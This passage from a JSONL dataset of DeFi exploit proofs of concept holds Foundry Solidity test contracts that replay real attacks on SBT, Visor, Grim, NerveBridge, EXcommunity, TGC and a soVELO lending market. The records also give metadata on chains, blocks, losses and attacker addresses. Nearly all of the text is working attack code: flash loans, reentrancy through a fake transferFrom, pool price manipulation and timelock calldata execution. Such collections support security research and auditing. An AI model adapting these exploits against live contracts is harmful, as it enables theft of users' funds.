40_378_160 - 1);\n deal(address(BUSD), address(this), 1 ether);\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"Attacker BUSD balance before attack\", BUSD.balanceOf(address(this)), 18);\n Pool.flash(address(this), 1_950_000 ether, 0, \"0x123\");\n emit log_named_decimal_uint(\"Attacker BUSD balance after attack\", BUSD.balanceOf(address(this)), 18);\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n BUSD.approve(address(Bank), type(uint256).max);\n BUSD.transfer(address(Bank), 950_000 ether);\n SBT.approve(address(Bank), type(uint256).max);\n Bank._Start();\n Bank.Buy_SBT(20_000_000);\n Bank.Loan_Get(1_966_930);\n\n BUSD.transfer(address(Pool), 1_950_000 ether + fee0);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "SBT", "date": "2024-07", "file_name": "SBT_exp.sol", "attack_vector": null, "content_hash": "4641e260e4fb9ebc", "collected_at": "2026-01-07T10:59:16.540235", "_source": "postmortems", "chain": "bsc", "block_number": 40378160, "total_lost_raw": "~56K BUSD", "total_lost_usd": 56000.0, "attacker_address": "https://bscscan.com/address/0x3026c464d3bd6ef0ced0d49e80f171b58176ce32", "attack_contract": "https://bscscan.com/address/0x88f9e1799465655f0dd206093dbd08922a1d9e28", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": "~56K BUSD", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"Attacker BUSD balance before attack\", BUSD.balanceOf(address(this)), 18);\n Pool.flash(address(this), 1_950_000 ether, 0, \"0x123\");\n emit log_named_decimal_uint(\"Attacker BUSD balance after attack\", BUSD.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~56K BUSD", "keyinfo_attacker": "https://bscscan.com/address/0x3026c464d3bd6ef0ced0d49e80f171b58176ce32", "keyinfo_attack_contract": "https://bscscan.com/address/0x88f9e1799465655f0dd206093dbd08922a1d9e28", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$56.0K", "content_richness_score": 4.95, "quality_estimate": "low", "title": "SBT Exploit (2024-07)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!\npragma solidity >=0.7.0 <0.9.0;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n IRewardsHypervisor irrewards = IRewardsHypervisor(0xC9f27A50f82571C1C8423A42970613b8dBDA14ef);\n IvVISR visr = IvVISR(0x3a84aD5d16aDBE566BAA6b3DafE39Db3D5E261E5);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 13_849_006); //fork mainnet at block 13849006\n }\n\n function testExploit() public {\n irrewards.deposit(100_000_000_000_000_000_000_000_000, address(this), msg.sender);\n // VISR_Balance = visr.balanceOf(msg.sender);\n emit log_named_uint(\"Attacker VIST Balance\", visr.balanceOf(msg.sender));\n }\n\n function owner() external returns (address) {\n return (address(this));\n }\n\n function delegatedTransferERC20(address token, address to, uint256 amount) external {}\n}\n", "type": "exploit_poc", "protocol": "Visor", "date": "2021-12", "file_name": "Visor_exp.sol", "attack_vector": null, "content_hash": "b940f6bf00db087a", "collected_at": "2026-01-07T10:59:16.540275", "_source": "postmortems", "chain": "unknown", "block_number": 13849006, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n irrewards.deposit(100_000_000_000_000_000_000_000_000, address(this), msg.sender);\n // VISR_Balance = visr.balanceOf(msg.sender);\n emit log_named_uint(\"Attacker VIST Balance\", visr.balanceOf(msg.sender));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.53, "quality_estimate": "low", "title": "Visor Exploit (2021-12)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n address btcAddress = 0x321162Cd933E2Be498Cd2267a90534A804051b11;\n address wftmAddress = 0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83;\n address routerAddress = 0x16327E3FbDaCA3bcF7E38F5Af2599D2DDc33aE52;\n address btc_wftm_address = 0x279b2c897737a50405ED2091694F225D83F2D3bA; //Spirit LPs\n address beethovenVaultAddress = 0x20dd72Ed959b6147912C2e529F0a0C651c33c9ce; //Flash Loan Pool\n address grimBoostVaultAddress = 0x660184CE8AF80e0B1e5A1172A16168b15f4136bF;\n IERC20 btc = IERC20(btcAddress);\n IWFTM wftm = IWFTM(payable(wftmAddress));\n IUniswapV2Router router = IUniswapV2Router(payable(routerAddress)); //SpiritSwap Router\n IPancakePair btc_wftm = IPancakePair(btc_wftm_address);\n IBeethovenVault beethovenVault = IBeethovenVault(beethovenVaultAddress);\n IGrimBoostVault grimBoostVault = IGrimBoostVault(grimBoostVaultAddress);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n uint256 btcLoanAmount = 30 * 1e8;\n uint256 wftmLoanAmount = 937_830 * 1e18;\n uint256 reentrancySteps = 7;\n uint256 lpBalance;\n\n function setUp() public {\n cheats.createSelectFork(\"fantom\", 25_345_002); //fork fantom at block 25345002\n }\n\n function testExploit() public {\n //Flash Loan WFTM and \"BTC\" frm BeethovenX\n IERC20[] memory loanTokens = new IERC20[](2);\n loanTokens[0] = wftm;\n loanTokens[1] = btc;\n uint256[] memory loanAmounts = new uint256[](2);\n loanAmounts[0] = wftmLoanAmount;\n loanAmounts[1] = btcLoanAmount;\n beethovenVault.flashLoan(IFlashLoanRecipient(address(this)), loanTokens, loanAmounts, \"0x\");\n }\n\n // Called after receiving Flash Loan Funds\n function receiveFlashLoan(\n IERC20[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) public {\n // Add Liquidity to SpiritSwap\n wftm.approve(routerAddress, wftmLoanAmount);\n btc.approve(routerAddress, btcLoanAmount);\n router.addLiquidity(\n btcAddress, wftmAddress, btcLoanAmount, wftmLoanAmount, 0, 0, address(this), block.timestamp\n );\n\n // Call depositFor() in GrimBoostVault, reentrancy to this.transferFrom\n btc_wftm.approve(grimBoostVaultAddress, 2 ** 256 - 1);\n lpBalance = btc_wftm.balanceOf(address(this));\n grimBoostVault.depositFor(address(this), lpBalance, address(this));\n\n // Withdraw LPs from GrimBoostVault\n grimBoostVault.withdrawAll();\n\n // Remove Liquidity from SpiritSwap\n lpBalance = btc_wftm.balanceOf(address(this));\n btc_wftm.transfer(btc_wftm_address, lpBalance);\n btc_wftm.burn(address(this));\n\n //Repay Flash Loan\n for (uint256 i = 0; i < tokens.length; ++i) {\n IERC20 _token = tokens[i];\n uint256 _amount = amounts[i];\n uint256 _feeAmount = feeAmounts[i];\n _token.transfer(beethovenVaultAddress, (_amount + _feeAmount));\n }\n\n emit log_named_uint(\"WFTM attacker profit\", wftm.balanceOf(address(this)) / 1e18);\n\n emit log_named_uint(\"BTC attacker profit\", btc.balanceOf(address(this)) / 1e8);\n }\n\n // Called by the reentrancy vulnerability in grimBoostVault.depositFor()\n function transferFrom(address _from, address _to, uint256 _value) public {\n reentrancySteps -= 1;\n if (reentrancySteps > 0) {\n //Call depositFor() in GrimBoostVault with token==ATTACKER, user==ATTACKER\n grimBoostVault.depositFor(address(this), lpBalance, address(this));\n } else {\n //In the last step on reentrancy call depositFor() with token==SPIRIT-LP, user==ATTACKER\n grimBoostVault.depositFor(btc_wftm_address, lpBalance, address(this));\n }\n }\n}\n", "type": "exploit_poc", "protocol": "Grim", "date": "2021-12", "file_name": "Grim_exp.sol", "attack_vector": "flash_loan", "content_hash": "08c61f4c748481e7", "collected_at": "2026-01-07T10:59:16.540311", "_source": "postmortems", "chain": "unknown", "block_number": 25345002, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n //Flash Loan WFTM and \"BTC\" frm BeethovenX\n IERC20[] memory loanTokens = new IERC20[](2);\n loanTokens[0] = wftm;\n loanTokens[1] = btc;\n uint256[] memory loanAmounts = new uint256[](2);\n loanAmounts[0] = wftmLoanAmount;\n loanAmounts[1] = btcLoanAmount;\n beethovenVault.flashLoan(IFlashLoanRecipient(address(this)), loanTokens, loanAmounts, \"0x\");\n }\n\n // Called after receiving Flash Loan Funds", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.98, "quality_estimate": "low", "title": "Grim Exploit (2021-12)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// tx: https://bscscan.com/tx/0xea95925eb0438e04d0d81dc270a99ca9fa18b94ca8c6e34272fc9e09266fcf1d\n// analysis: https://blocksecteam.medium.com/the-analysis-of-nerve-bridge-security-incident-ead361a21025\n\ninterface IFortube {\n function flashloan(address receiver, address token, uint256 amount, bytes memory params) external;\n}\n\ninterface ISaddle {\n function swap(uint8 i, uint8 j, uint256 dx, uint256 min_dy, uint256 deadline) external returns (uint256);\n\n function swapUnderlying(\n uint8 tokenIndexFrom,\n uint8 tokenIndexTo,\n uint256 dx,\n uint256 minDy,\n uint256 deadline\n ) external returns (uint256);\n}\n\ninterface ISwap {\n function removeLiquidityOneToken(\n uint256 tokenAmount,\n uint8 tokenIndex,\n uint256 minAmount,\n uint256 deadline\n ) external returns (uint256);\n}\n\ncontract ContractTest is Test {\n uint256 mainnetFork;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n IFortube flashloanProvider = IFortube(0x0cEA0832e9cdBb5D476040D58Ea07ecfbeBB7672);\n address nerve3lp = 0xf2511b5E4FB0e5E2d123004b672BA14850478C14;\n address busd = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;\n address fusd = 0x049d68029688eAbF473097a2fC38ef61633A3C7A;\n address fusdPool = 0x556ea0b4c06D043806859c9490072FaadC104b63;\n address metaSwapPool = 0xd0fBF0A224563D5fFc8A57e4fdA6Ae080EbCf3D3;\n address nerve3pool = 0x1B3771a66ee31180906972580adE9b81AFc5fCDc;\n\n function setUp() public {\n mainnetFork = vm.createFork(\"bsc\", 12_653_565);\n vm.selectFork(mainnetFork);\n cheats.label(address(flashloanProvider), \"flashloanProvider\");\n }\n\n function testExp() public {\n // 1. flashloan 50000 busd from fortube\n flashloanProvider.flashloan(address(this), busd, 50_000 ether, \"0x\");\n console.log(\"final busd profit: \", IERC20(busd).balanceOf(address(this)) / 10 ** IERC20(busd).decimals());\n }\n\n function executeOperation(address token, uint256 amount, uint256 fee, bytes calldata params) external {\n IERC20(busd).approve(fusdPool, type(uint256).max);\n IERC20(fusd).approve(metaSwapPool, type(uint256).max);\n IERC20(nerve3lp).approve(nerve3pool, type(uint256).max);\n IERC20(busd).approve(metaSwapPool, type(uint256).max);\n\n // 2. swap from 50000 busd to fusd on Ellipsis\n IERC20(fusd).approve(fusdPool, type(uint256).max);\n IcurveYSwap(fusdPool).exchange_underlying(1, 0, IERC20(busd).balanceOf(address(this)), 1);\n\n for (uint8 i = 0; i < 7; i++) {\n swap();\n }\n\n // 6. swap from fusd to busd on Ellipsis\n IcurveYSwap(fusdPool).exchange_underlying(0, 1, IERC20(fusd).balanceOf(address(this)), 1);\n\n // 7. payback flashloan\n IERC20(busd).transfer(address(0xc78248D676DeBB4597e88071D3d889eCA70E5469), amount + fee);\n }\n\n function swap() public {\n // 3. swap from fusd to Nerve 3-LP token on metaSwapPool\n ISaddle(metaSwapPool).swap(0, 1, IERC20(fusd).balanceOf(address(this)), 1, block.timestamp);\n\n // 4. remove liquidity Nerve.3pool with lp tokens to remove the liquidity of BUSD\n ISwap(nerve3pool).removeLiquidityOneToken(IERC20(nerve3lp).balanceOf(address(this)), 0, 1, block.timestamp);\n\n // 5. invoking the swapUnderlying function of MetaSwap to swap BUSD for fUSDT\n ISaddle(metaSwapPool).swapUnderlying(1, 0, IERC20(busd).balanceOf(address(this)), 1, block.timestamp);\n }\n}\n", "type": "exploit_poc", "protocol": "NerveBridge", "date": "2021-12", "file_name": "NerveBridge_exp.sol", "attack_vector": "flash_loan", "content_hash": "a765f759e2988103", "collected_at": "2026-01-07T10:59:16.540359", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExp() public {\n // 1. flashloan 50000 busd from fortube\n flashloanProvider.flashloan(address(this), busd, 50_000 ether, \"0x\");\n console.log(\"final busd profit: \", IERC20(busd).balanceOf(address(this)) / 10 ** IERC20(busd).decimals());\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.81, "quality_estimate": "low", "title": "NerveBridge Exploit (2021-12)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// TX : https://app.blocksec.com/explorer/tx/bsc/0x5446bf2b57749abdab01813a50ce36246177f3437599f3a56bc1554f596b2c3a\n// GUY : https://x.com/SlowMist_Team/status/1795648617530995130\n// Profit : ~33 bnb\n// REASON : Business Logic Flaw\n\ninterface Boy is IERC20 {\n function getPrice() external returns (uint256);\n}\n\ncontract ContractTest is Test {\n IWBNB constant WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n Uni_Pair_V3 Pool = Uni_Pair_V3(0x36696169C63e42cd08ce11f5deeBbCeBae652050);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0x74f5FE81F67FA30A679d3547f7F9B97a2dd46BA5);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 Girl = IERC20(0xb1de93DAe1CDdF429eEc9DB30b78759d17495758);\n Boy boy = Boy(0xdf4895Cd8247284Ae3a7b3E28cf6c03113fADa5f);\n uint256 constant PRECISION = 10 ** 18;\n address[] public Myaddress;\n\n function setUp() external {\n vm.createSelectFork(\"bsc\", 39_123_756);\n // deal(address(BUSDT), address(this), 500000 ether);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[End] Attacker bnb before exploit\", address(this).balance, 18);\n Pool.flash(address(this), 400_000_000_000_000_000_000_000, 0, \"0x123\");\n emit log_named_decimal_uint(\"[End] Attacker bnb after exploit\", address(this).balance, 18);\n emit log_named_decimal_uint(\"[End] Attacker BUSDT after exploit\", BUSDT.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"[End] Attacker boy after exploit\", boy.balanceOf(address(this)), 18);\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n swap_token_to_token(address(BUSDT), address(Girl), 1 ether);\n uint256 helpContractAmount = 10;\n uint256 i = 0;\n while (i < helpContractAmount) {\n address money = cal_address(i);\n Myaddress.push(money);\n i++;\n }\n create_contract(helpContractAmount);\n for (uint256 i = 0; i < Myaddress.length; i++) {\n address(Myaddress[i]).call{value: 3 ether}(abi.encodeWithSignature(\"buy()\"));\n vm.roll(block.number + 1);\n address(Myaddress[i]).call(abi.encodeWithSignature(\"send()\"));\n }\n BUSDT.transfer(address(Pair), 399_000 ether);\n uint256 j = 0;\n while (j < 290) {\n Girl.transferFrom(address(Pair), address(this), 0);\n j++;\n }\n Pair.skim(address(this));\n Girl.transfer(address(this), 1_000_000);\n console.log(\"price\", boy.getPrice());\n boy.transfer(address(boy), 25_380_992_089_360_281_325_724);\n WBNB.deposit{value: 0.4 ether}();\n swap_token_to_token(address(WBNB), address(BUSDT), 0.4 ether);\n BUSDT.transfer(msg.sender, 400_000 * 1e18 + fee0);\n }\n\n function swap_token_to_token(address a, address b, uint256 amount) internal {\n IERC20(a).approve(address(Router), amount);\n address[] memory path = new address[](2);\n path[0] = address(a);\n path[1] = address(b);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);\n }\n\n function cal_address(\n uint256 time\n ) internal returns (address) {\n bytes memory bytecode = type(Money).creationCode;\n uint256 _salt = time;\n bytecode = abi.encodePacked(bytecode);\n bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));\n address hack_contract = address(uint160(uint256(hash)));\n return hack_contract;\n }\n\n function create_contract(\n uint256 times\n ) internal {\n uint256 i = 0;\n while (i < times) {\n bytes memory bytecode = type(Money).creationCode;\n uint256 _salt = i;\n bytecode = abi.encodePacked(bytecode);\n bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));\n address hack_contract = address(uint160(uint256(hash)));\n // console.log(hack_contract);\n address addr;\n // Use create2 to send money first.\n assembly {\n addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)\n }\n i++;\n }\n }\n\n receive() external payable {}\n fallback() external payable {}\n}\n\ncontract Money is Test {\n IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0x74f5FE81F67FA30A679d3547f7F9B97a2dd46BA5);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 Girl = IERC20(0xb1de93DAe1CDdF429eEc9DB30b78759d17495758);\n IERC20 boy = IERC20(payable(0xdf4895Cd8247284Ae3a7b3E28cf6c03113fADa5f));\n uint256 constant PRECISION = 10 ** 18;\n address owner;\n\n constructor() {\n owner = msg.sender;\n }\n\n function buy() public payable {\n address(boy).call{value: msg.value, gas: 20_000_000_000}(\"\");\n }\n\n function send() public {\n boy.transfer(address(msg.sender), boy.balanceOf(address(this)));\n }\n\n fallback() external payable {}\n}\n", "type": "exploit_poc", "protocol": "EXcommunity", "date": "2024-05", "file_name": "EXcommunity_exp.sol", "attack_vector": null, "content_hash": "7cf2884c90c8c29e", "collected_at": "2026-01-07T10:59:16.540421", "_source": "postmortems", "chain": "unknown", "block_number": 39123756, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.82, "quality_estimate": "low", "title": "EXcommunity Exploit (2024-05)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// TX : https://app.blocksec.com/explorer/tx/bsc/0x12e8c24dec36a29fdd9b9d7a8b587b3abd2519089b6438c194e6e5eb357b68d8\n// GUY : https://x.com/ChainAegis/status/1789490986588205529\n// Profit : ~32K USD\n\ncontract ContractTest is Test {\n IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0xBb33668bAe76A6394683DeEf645487e333b8fC45);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 TGC = IERC20(0x523aA213FE806778Ffa597b6409382fFfcc12De2);\n address vulnContract = 0x32F9188d6D86Bf88dbAc3ceEe5958aDf1aa609df;\n\n function setUp() external {\n vm.createSelectFork(\"bsc\", 38_623_654);\n deal(address(USDT), address(this), 200 ether);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[Begin] Attacker USDT before exploit\", USDT.balanceOf(address(this)), 18);\n attack();\n // emit log_named_decimal_uint(\"[End] Attacker TGC after exploit\", TGC.balanceOf(address(this)), 18);\n swap_token_to_token(address(TGC), address(USDT), TGC.balanceOf(address(this)));\n\n emit log_named_decimal_uint(\"[End] Attacker USDT after exploit\", USDT.balanceOf(address(this)), 18);\n }\n\n function attack() public {\n swap_token_to_token(address(USDT), address(TGC), 100 ether);\n approveAll();\n address(vulnContract).call(abi.encodeWithSelector(bytes4(0x836aefb0), 100_000_000_000_000_000_000));\n vm.warp(block.timestamp + 5 hours);\n // emit log_named_decimal_uint(\"Pair USDT balance\", USDT.balanceOf(address(Pair)), 18);\n // emit log_named_decimal_uint(\"address(this) TGC balance\", TGC.balanceOf(address(vuln)), TGC.decimals());\n Pair.swap(0, 29_809 ether, address(this), new bytes(0x31));\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n address(vulnContract).call(abi.encodeWithSelector(bytes4(0xfd5a466f)));\n USDT.transfer(address(Pair), 29_809 ether);\n TGC.transfer(address(Pair), 80 ether);\n }\n\n function swap_token_to_token(address a, address b, uint256 amount) internal {\n IERC20(a).approve(address(Router), amount);\n address[] memory path = new address[](2);\n path[0] = address(a);\n path[1] = address(b);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);\n }\n\n function approveAll() internal {\n TGC.approve(address(vulnContract), type(uint256).max);\n }\n\n function getreserves(\n uint256 stepNum\n ) public {\n console.log(\"Step %i\", stepNum);\n (uint256 reserveIn, uint256 reserveOut,) = Pair.getReserves();\n emit log_named_decimal_uint(\"ReserveIn\", reserveIn, 18);\n emit log_named_decimal_uint(\"ReserveOut\", reserveOut, 18);\n }\n}\n", "type": "exploit_poc", "protocol": "TGC", "date": "2024-05", "file_name": "TGC_exp.sol", "attack_vector": null, "content_hash": "7d2dc2cd8ce94777", "collected_at": "2026-01-07T10:59:16.540483", "_source": "postmortems", "chain": "unknown", "block_number": 38623654, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function attack() public {\n swap_token_to_token(address(USDT), address(TGC), 100 ether);\n approveAll();\n address(vulnContract).call(abi.encodeWithSelector(bytes4(0x836aefb0), 100_000_000_000_000_000_000));\n vm.warp(block.timestamp + 5 hours);\n // emit log_named_decimal_uint(\"Pair USDT balance\", USDT.balanceOf(address(Pair)), 18);\n // emit log_named_decimal_uint(\"address(this) TGC balance\", TGC.balanceOf(address(vuln)), TGC.decimals());\n Pair.swap(0, 29_809 ether, address(this), new bytes(0x31));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.58, "quality_estimate": "low", "title": "TGC Exploit (2024-05)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$20M USD$\n// Attacker EOA1 : https://optimistic.etherscan.io/address/0x5d0d99e9886581ff8fcb01f35804317f5ed80bbb\n// Attacker EOA2 : https://optimistic.etherscan.io/address/0xae4a7cde7c99fb98b0d5fa414aa40f0300531f43\n\n// Attack Tx1 : https://optimistic.etherscan.io/tx/0x45c0ccfd3ca1b4a937feebcb0f5a166c409c9e403070808835d41da40732db96\n// Attack Tx2 : https://optimistic.etherscan.io/tx/0x9312ae377d7ebdf3c7c3a86f80514878deb5df51aad38b6191d55db53e42b7f0\n\n// Attack Contract1 : https://optimistic.etherscan.io/address/0xa78aefd483ce3919c0ad55c8a2e5c97cbac1caf8\n// Attack Contract2 : https://optimistic.etherscan.io/address/0x02FA2625825917E9b1F8346a465dE1bBC150C5B9\n\n// @Info\n// Vulnerable Contract Code : https://optimistic.etherscan.io/address/0xe3b81318b1b6776f0877c3770afddff97b9f5fe5\n\ninterface TimelockController {\n function execute(\n address target,\n uint256 value,\n bytes memory data,\n bytes32 predecessor,\n bytes32 salt\n ) external payable;\n}\n\ninterface VolatileV2Pool {\n function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes memory data) external;\n}\n\ncontract ContractTest is Test {\n address soVELO = 0xe3b81318B1b6776F0877c3770AfDdFf97b9f5fE5;\n\n address soUSDC = 0xEC8FEa79026FfEd168cCf5C627c7f486D77b765F;\n\n address Unitroller = 0x60CF091cD3f50420d50fD7f707414d0DF4751C58;\n\n address VELO_Token_V2 = 0x9560e827aF36c94D2Ac33a39bCE1Fe78631088Db;\n\n address USDC = 0x7F5c764cBc14f9669B88837ca1490cCa17c31607;\n\n address VolatileV2_USDC_VELO = 0x8134A2fDC127549480865fB8E5A9E8A8a95a54c5;\n\n TimelockController t = TimelockController(0x37fF10390F22fABDc2137E428A6E6965960D60b6);\n\n function setUp() public {\n vm.createSelectFork(\"optimism\", 120_062_493 - 1);\n }\n\n function testExploit() public {\n // 1. Execute proposals\n\n bytes memory data1 = hex\"fca7820b0000000000000000000000000000000000000000000000000429d069189e0000\";\n\n bytes memory data2 = hex\"f2b3abbd0000000000000000000000007320bd5fa56f8a7ea959a425f0c0b8cac56f741e\";\n\n bytes memory data3 = hex\"55ee1fe100000000000000000000000022c7e5ce392bc951f63b68a8020b121a8e1c0fea\";\n\n bytes memory data4 = hex\"a76b3fda000000000000000000000000e3b81318b1b6776f0877c3770afddff97b9f5fe5\";\n\n bytes memory data5 =\n hex\"e4028eee000000000000000000000000e3b81318b1b6776f0877c3770afddff97b9f5fe500000000000000000000000000000000000000000000000004db732547630000\";\n\n t.execute(\n soVELO,\n 0,\n data1,\n 0x0000000000000000000000000000000000000000000000000000000000000000,\n 0x476d385370ae53ff1c1003ab3ce694f2c75ebe40422b0ba11def4846668bc84c\n );\n\n t.execute(\n soVELO,\n 0,\n data2,\n 0x0000000000000000000000000000000000000000000000000000000000000000,\n 0xa57973a3d5a5d99d454c54117d7d30a57a8aca089891f505f120174216edaf42\n );\n\n t.execute(\n Unitroller,\n 0,\n data3,\n 0x0000000000000000000000000000000000000000000000000000000000000000,\n 0x42408274449fd7829d7fb6abe2e89a618a853acf68d1553b2f6b8b671ac443fd\n );\n\n t.execute(\n Unitroller,\n 0,\n data4,\n 0x0000000000000000000000000000000000000000000000000000000000000000,\n 0xb02c80e66eae74aef841e5d998aef03d201de66590950b6353e9a28b289c8c8b\n );\n\n t.execute(\n Unitroller,\n 0,\n data5,\n 0x0000000000000000000000000000000000000000000000000000000000000000,\n 0xe50459992a5c9678d53efbffbf6b95687111e5789dada996e41fea2986077bed\n );\n\n // 2. Approve VELO to soVEOLO\n\n IERC20(VELO_Token_V2).approve(soVELO, type(uint256).max);\n\n // 3. FlashLoan\n\n VolatileV2Pool(VolatileV2_USDC_VELO).swap(0, 35_469_150_965_253_049_864_450_449, address(this), hex\"01\");\n }\n\n function hook(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n // 4. Mint 2 wei soVELO\n 